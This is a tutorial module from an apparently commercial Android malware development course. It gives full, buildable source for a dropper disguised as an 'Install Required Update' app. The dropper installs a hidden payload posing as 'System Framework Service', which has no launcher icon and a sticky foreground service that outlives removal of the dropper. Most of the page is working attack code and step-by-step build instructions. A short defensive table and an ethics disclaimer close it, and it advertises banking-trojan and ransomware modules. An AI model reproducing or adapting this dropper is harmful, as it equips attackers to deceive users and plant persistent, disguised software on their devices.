Malware That Survives Complete Uninstall + Hidden No-Icon Payload
Part of the Android Malware Development Course – 100% FREE
Welcome, immortal agents!
You’ve stolen credentials, you’ve taken remote control… now it’s time for the ultimate mind-blow.
In Free Module 3: The Ghost Dropper, you will build the most powerful beginner-level persistence trick in Android malware:
Your main app silently downloads and installs a hidden payload using the modern PackageInstaller API.
The payload is named .system.framework.apk (hidden file) and has no launcher icon at all.
You can completely uninstall the main visible app.
Reboot the device → the payload is still alive, still running in the background, and still phoning home to your server.
The payload never appears in the app drawer or the normal app list. The only way a normal user can find it is by manually digging deep into Settings → Apps.
This is real advanced stealth used by sophisticated droppers and persistent trojans in 2026.
This is the climax of the free series. After seeing the payload survive complete uninstall and reboot while staying completely hidden, most students instantly realize:
“If the free modules can already do this… the full 14-module course must be on another level.”
- Using
PackageInstallerfor silent APK installation - Creating hidden payloads with no launcher icon
- Naming tricks (
.apk+ system-like package name) to stay invisible - Making malware survive full uninstall + reboot
- Building true dropper-style persistence
Before we make the malware immortal, let’s understand why this Ghost Dropper technique is so powerful and how the different parts work together.
- Visible dropper app runs → Silently installs the hidden payload using PackageInstaller API
- Payload is saved as ".system.framework.apk" (starts with a dot) + no launcher icon
- Victim uninstalls the main visible app (thinks the threat is gone)
- Reboot or time passes → Hidden payload wakes up by itself and keeps running forever text
| Element | How It Works (Simple Explanation) | Why It’s Deadly |
|---|---|---|
| Hidden File Name | Saved as .system.framework.apk (the dot hides it from file managers) |
Normal users never see the file |
| No Launcher Icon | We remove the LAUNCHER category from the manifest | App never appears in the home screen or app drawer |
| System-like Label | App label set to “System Framework Service” | Looks completely legitimate in Settings → Apps |
| Silent Install | Uses official PackageInstaller API (no popups after first permission) |
Victim doesn’t even know something was installed |
| Independent Survival | Payload is a completely separate app (different package name) | Even if you delete the dropper, the ghost keeps living |
Key Idea: The dropper and the payload are two different apps. The dropper’s only job is to “birth” the payload and then die. Once the payload is born, it lives on its own forever. This is exactly how real advanced droppers (like those in Cerberus and Medusa families) achieve persistence that survives uninstall and reboot.
| Technique | How It Works | Why It’s Deadly |
|---|---|---|
| Hidden File Name | Downloaded as .system.framework.apk |
Doesn’t show in file managers |
| No Launcher Icon | Removed <category android:name="android.intent.category.LAUNCHER" /> |
Never appears in app drawer |
| System-like Label | App label set to “System Framework Service” | Looks legitimate in Settings |
| Silent Install | Uses PackageInstaller API |
No user confirmation popup |
| Survives Uninstall | Payload runs independently | Main app can be deleted |
Goal:
- Main app downloads and silently installs a hidden payload
- You fully uninstall the main app
- Check the logs → the payload is still active, running in the background.
- Create two projects:
- Name:
Update InstallerPackage name:com.example.ghostmain(visible installer) - Name:
System Framework ServicePackage name:com.system.framework.service(the hidden survivor)
- Name:
Step 2: GhostPayload (The Hidden One)
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.system.framework.service">
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:allowBackup="false"
android:icon="@mipmap/ic_launcher"
android:label="System Framework Service"
android:theme="@style/Theme.SystemFrameworkService">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="com.system.framework.START_PAYLOAD" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
<service
android:name=".PayloadService"
android:foregroundServiceType="dataSync"
android:exported="false" />
</application>
</manifest>This is the Android Manifest file (AndroidManifest.xml) for the hidden payload with package name com.system.framework.service. It deliberately removes the launcher category and uses a system-like label to stay invisible in the app drawer while enabling persistent background execution.
-
Requested Permissions
FOREGROUND_SERVICE+FOREGROUND_SERVICE_DATA_SYNC+POST_NOTIFICATIONS: Required for the immortal background service.
-
Application Configuration
android:label="System Framework Service": Looks official in Settings → Apps.android:allowBackup="false": Reduces forensic footprint.
-
Declared Components
- MainActivity: Exported only via custom action (no LAUNCHER category).
- PayloadService: Foreground service (dataSync type) for persistence.
Intended Working Flow:
Payload is installed → MainActivity receives explicit intent → Starts foreground service → Service runs forever with heartbeat logs.
Security Implications:
No launcher icon + system-sounding label makes the payload nearly invisible to average users. Survives main app uninstall because it is a completely independent package.
AndroidManifest.xml (GhostPayload)
│
├── <uses-permission> ×3 (FOREGROUND_SERVICE*)
│
└── <application label="System Framework Service">
├── <activity android:name=".MainActivity">
│ └── <intent-filter> (custom action ONLY - NO LAUNCHER)
│
└── <service android:name=".PayloadService">
└── foregroundServiceType="dataSync"
package com.system.framework.service
import android.content.Intent
import android.os.Build
import android.os.Bundle
import android.util.Log // <-- THIS is what was missing!
import androidx.appcompat.app.AppCompatActivity
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// This log proves the app successfully woke up from the stopped state!
Log.e("PAYLOAD_ALIVE", "========================================")
Log.e("PAYLOAD_ALIVE", "I HAVE AWAKENED! THE DROPPER WORKED!")
Log.e("PAYLOAD_ALIVE", "========================================")
// Start the background service
val serviceIntent = Intent(this, PayloadService::class.java)
// Correctly checking if the Android version is Oreo (API 26) or higher
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(serviceIntent)
} else {
startService(serviceIntent)
}
// Close the invisible UI immediately so the user sees nothing
finish()
}
}This is the entry-point activity (MainActivity.kt) of the hidden payload. It logs a proof-of-life message, starts the immortal foreground service, and immediately closes itself so the user never sees any UI.
- onCreate() – Prints massive “I HAVE AWAKENED!” log.
- Service Start – Uses
startForegroundService(API 26+) for persistence. - finish() – Destroys the activity instantly.
Intended Working Flow:
Explicit intent launches activity → Logs proof → Starts service → Self-destructs.
Security Implications:
The activity exists only to bootstrap the service and then disappears. Combined with no launcher icon, the payload becomes truly “ghost”.
MainActivity.kt (GhostPayload)
│
└── onCreate()
├── Log.e("PAYLOAD_ALIVE", "I HAVE AWAKENED!")
├── startForegroundService(PayloadService)
└── finish() ← immediate self-destruct
package com.system.framework.service
import android.app.Notification
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.Service
import android.content.Intent
import android.os.Build
import android.os.Handler
import android.os.IBinder
import android.os.Looper
import android.util.Log
import androidx.core.app.NotificationCompat
class PayloadService : Service() {
private val handler = Handler(Looper.getMainLooper())
private val CHANNEL_ID = "framework_channel"
private val heartbeatRunnable = object : Runnable {
override fun run() {
// BENIGN LOGGING ONLY - Proves the app is still running
Log.e("GHOST_PAYLOAD", "👻 I'M ALIVE! (Survived Uninstall)")
handler.postDelayed(this, 5000)
}
}
override fun onCreate() {
super.onCreate()
createNotificationChannel()
}
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
val notification: Notification = NotificationCompat.Builder(this, CHANNEL_ID)
.setContentTitle("System Framework")
.setContentText("Running background optimizations...")
.setSmallIcon(android.R.drawable.ic_dialog_info)
.build()
// NEW: Android 14+ requires passing the specific type to startForeground
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(1, notification, android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
} else {
startForeground(1, notification)
}
Log.e("GHOST_PAYLOAD", "Payload Service Started!")
handler.post(heartbeatRunnable)
return START_STICKY
}
override fun onDestroy() {
super.onDestroy()
handler.removeCallbacks(heartbeatRunnable)
}
override fun onBind(intent: Intent?): IBinder? = null
private fun createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val serviceChannel = NotificationChannel(
CHANNEL_ID, "System Framework Channel", NotificationManager.IMPORTANCE_LOW
)
getSystemService(NotificationManager::class.java).createNotificationChannel(serviceChannel)
}
}
}This is the immortal foreground service (PayloadService.kt). It runs with START_STICKY and a low-importance notification, printing heartbeat logs every 5 seconds to prove survival after uninstall.
- heartbeatRunnable – Logs “👻 I'M ALIVE!” every 5 seconds.
- onStartCommand() – Starts foreground with proper type for Android 14+.
- return START_STICKY – Ensures restart after kill/reboot.
Intended Working Flow:
Service starts → Creates low-profile notification → Posts heartbeat forever.
Security Implications:
Foreground service + START_STICKY makes it extremely difficult to kill. Survives main app uninstall and device reboot.
PayloadService.kt (GhostPayload)
│
├── onStartCommand()
│ ├── startForeground (with type)
│ ├── Log "Payload Service Started!"
│ └── handler.post(heartbeatRunnable)
│
├── heartbeatRunnable (every 5s)
│ └── Log.e("GHOST_PAYLOAD", "👻 I'M ALIVE!")
│
└── return START_STICKY
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.ghostmain">
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="Update Installer"
android:theme="@style/Theme.AppCompat.Light.NoActionBar">
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver
android:name=".InstallReceiver"
android:exported="false" />
</application>
</manifest>This is the Android Manifest file (AndroidManifest.xml) for the visible dropper app (com.example.ghostmain). It requests the single permission needed for silent installation and registers the broadcast receiver that handles install results.
-
Requested Permission
REQUEST_INSTALL_PACKAGES: Required forPackageInstaller.
-
Declared Components
- MainActivity: Normal launcher.
- InstallReceiver: Internal broadcast receiver for session status.
Intended Working Flow:
Dropper launches → User taps button → PackageInstaller runs → Receiver gets result → Launches hidden payload.
Security Implications:
Only one dangerous permission + clean manifest keeps the dropper looking innocent until it installs the ghost.
AndroidManifest.xml (GhostMain)
│
├── <uses-permission android:name="REQUEST_INSTALL_PACKAGES" />
│
└── <application>
├── <activity android:name=".MainActivity"> (LAUNCHER)
│
└── <receiver android:name=".InstallReceiver" />
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:orientation="vertical">
<Button
android:id="@+id/btnInstall"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Install Required Update" />
</LinearLayout>This is the simple layout (activity_main.xml) for the dropper. It contains only one button that triggers the silent installation.
- Single centered button with id
btnInstall.
Provides the minimal UI needed to start the dropper attack.
activity_main.xml
│
└── LinearLayout (center)
└── Button id=btnInstall ("Install Required Update")
package com.example.ghostmain
import android.app.PendingIntent
import android.content.Intent
import android.content.pm.PackageInstaller
import android.os.Bundle
import android.widget.Button
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import java.io.InputStream
import java.io.OutputStream
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
val btnInstall = findViewById<Button>(R.id.btnInstall)
btnInstall.setOnClickListener {
installPayloadFromAssets()
}
}
private fun installPayloadFromAssets() {
try {
val packageInstaller = packageManager.packageInstaller
val params = PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL)
val sessionId = packageInstaller.createSession(params)
val session = packageInstaller.openSession(sessionId)
// Read the hidden payload from the assets folder
val inputStream: InputStream = assets.open("payload.apk")
val outputStream: OutputStream = session.openWrite("payload_drop", 0, -1)
val buffer = ByteArray(65536)
var bytesRead: Int
while (inputStream.read(buffer).also { bytesRead = it } != -1) {
outputStream.write(buffer, 0, bytesRead)
}
session.fsync(outputStream)
inputStream.close()
outputStream.close()
// Commit the installation session
val intent = Intent(this, InstallReceiver::class.java)
val pendingIntent = PendingIntent.getBroadcast(
this, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE
)
session.commit(pendingIntent.intentSender)
Toast.makeText(this, "Dropping Payload...", Toast.LENGTH_SHORT).show()
} catch (e: Exception) {
e.printStackTrace()
Toast.makeText(this, "Error: ${e.message}", Toast.LENGTH_LONG).show()
}
}
}This is the dropper activity (MainActivity.kt). It reads the hidden payload.apk from assets and uses the modern PackageInstaller API to silently install the ghost payload.
- installPayloadFromAssets() – Creates install session, streams APK from assets.
- session.commit() – Triggers installation with broadcast receiver.
Intended Working Flow:
Button click → Stream payload → Create session → Commit → Receiver handles result.
Security Implications:
Uses official PackageInstaller (no root needed) for silent install on modern Android.
MainActivity.kt (GhostMain)
│
├── btnInstall.setOnClickListener
│
└── installPayloadFromAssets()
├── PackageInstaller Session
├── assets.open("payload.apk") → stream
└── session.commit() → InstallReceiver
package com.example.ghostmain
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.pm.PackageInstaller
import android.util.Log
class InstallReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
val status = intent.getIntExtra(PackageInstaller.EXTRA_STATUS, PackageInstaller.STATUS_FAILURE)
when (status) {
PackageInstaller.STATUS_SUCCESS -> {
Log.e("GHOST_MAIN", "Payload installed successfully! Launching it silently...")
val launchIntent = Intent()
// Explicitly target the exact package and class name. Android cannot ignore this.
launchIntent.setClassName("com.system.framework.service", "com.system.framework.service.MainActivity")
// Crucial for waking up an app that was just installed and has never been opened
launchIntent.addFlags(Intent.FLAG_INCLUDE_STOPPED_PACKAGES)
launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
try {
context.startActivity(launchIntent)
Log.e("GHOST_MAIN", "Payload explicit launch intent fired successfully.")
} catch (e: Exception) {
Log.e("GHOST_MAIN", "Failed to launch payload: ${e.message}")
}
}
// NEW: Handle the mandatory user prompt!
PackageInstaller.STATUS_PENDING_USER_ACTION -> {
Log.e("GHOST_MAIN", "System requires user confirmation. Launching prompt...")
// Extract the confirmation dialog Android prepared for us
val confirmationIntent = intent.getParcelableExtra<Intent>(Intent.EXTRA_INTENT)
if (confirmationIntent != null) {
confirmationIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
try {
context.startActivity(confirmationIntent)
} catch (e: Exception) {
Log.e("GHOST_MAIN", "Failed to launch confirmation UI: ${e.message}")
}
} else {
Log.e("GHOST_MAIN", "Error: Pending user action requested, but no Intent provided by Android.")
}
}
else -> {
val message = intent.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE) ?: "No string provided"
Log.e("GHOST_MAIN", "Install failed! Status Code: $status | Message: $message")
}
}
}
}This is the broadcast receiver (InstallReceiver.kt) that catches the result of the PackageInstaller session and launches the hidden payload (or shows the required user confirmation dialog).
- STATUS_SUCCESS – Logs success and fires explicit intent with
FLAG_INCLUDE_STOPPED_PACKAGES. - STATUS_PENDING_USER_ACTION – Handles the mandatory “Allow from this source” prompt.
- setClassName() – Directly targets the payload’s MainActivity.
Intended Working Flow:
Installation finishes → Receiver fires → Explicitly launches ghost payload → Payload starts its service.
Security Implications:
Explicit package targeting + stopped-packages flag bypasses Android’s “never opened” restrictions, guaranteeing the ghost wakes up immediately.
InstallReceiver.kt
│
└── onReceive()
├── STATUS_SUCCESS
│ └── setClassName("com.system.framework.service.MainActivity")
│ + FLAG_INCLUDE_STOPPED_PACKAGES
│ → startActivity()
│
└── STATUS_PENDING_USER_ACTION
└── Launch confirmationIntent
-
Rename it to payload.apk, and place it in the assets folder of this GhostMain project

-
Build and install
GhostMain -
Click the "Install Required Update" button.
-
Since the app doesn't have permission to install unknown apps yet, Android will block it and prompt you. Click Settings on the prompt and toggle Allow from this source.

-
Press back to return to the app, and click the "Install Required Update" button again.
-
You will still see the “I'M ALIVE! (Survived Uninstall)” heartbeat logs pulsing every 5 seconds, proving the payload is completely independent and still running!
The payload will never show an icon in the app drawer.
| Red Flag | How to Spot It | How to Protect Yourself / Users |
|---|---|---|
| App named “System Framework Service” in Settings → Apps | Scroll through full app list (it has no icon) | Manually check Settings > Apps > See all apps for suspicious system-sounding names |
| Unknown app appears after installing something else | Check “Recently installed” or use ADB command adb shell pm list packages |
Never allow “Install unknown apps” except for trusted sources |
| Payload survives after you uninstall the main app | Heartbeat logs or background service still running | Use ADB (adb uninstall com.system.framework.service) or factory reset as last resort |
| Battery drain or unknown service running forever | Battery usage shows persistent service | Enable Google Play Protect + regular security scans |
Pro Tip for Developers & Enterprises: Use PackageInstaller monitoring in enterprise policies and block REQUEST_INSTALL_PACKAGES for non-system apps. Tools like MobSF or Drozer can detect hidden packages during audits.
By the end of this free module, you’ll:
- Build a real dropper using modern PackageInstaller
- Create completely hidden payloads with no launcher icon
- Achieve persistence that survives full uninstall
- Understand why advanced malware is so hard to remove
This module is for educational and research purposes only. Never use on real devices or people. Always test in isolated emulators.
🎉 YOU HAVE COMPLETED ALL 3 FREE MODULES
You now have:
- A real credential-stealing fake update phisher (Module 1)
- A working remote control Pocket RAT (Module 2)
- Malware that survives complete uninstall and stays completely hidden with no icon (Module 3)
This was only the beginning.
The full 14-module course gives you:
- Advanced persistence that survives factory reset
- Full banking trojans with overlays and OTP theft
- Rootkits and privilege escalation
- Complete ransomware with file encryption
- Obfuscation, anti-analysis, and enterprise-grade C2
- Defensive strategies and responsible disclosure
- Certificate of completion + private community
You’ve seen what’s possible with the free modules.
Imagine what you can do with the complete elite training.
[Buy Full Course Now →]
Stay deceptive. Stay ethical.


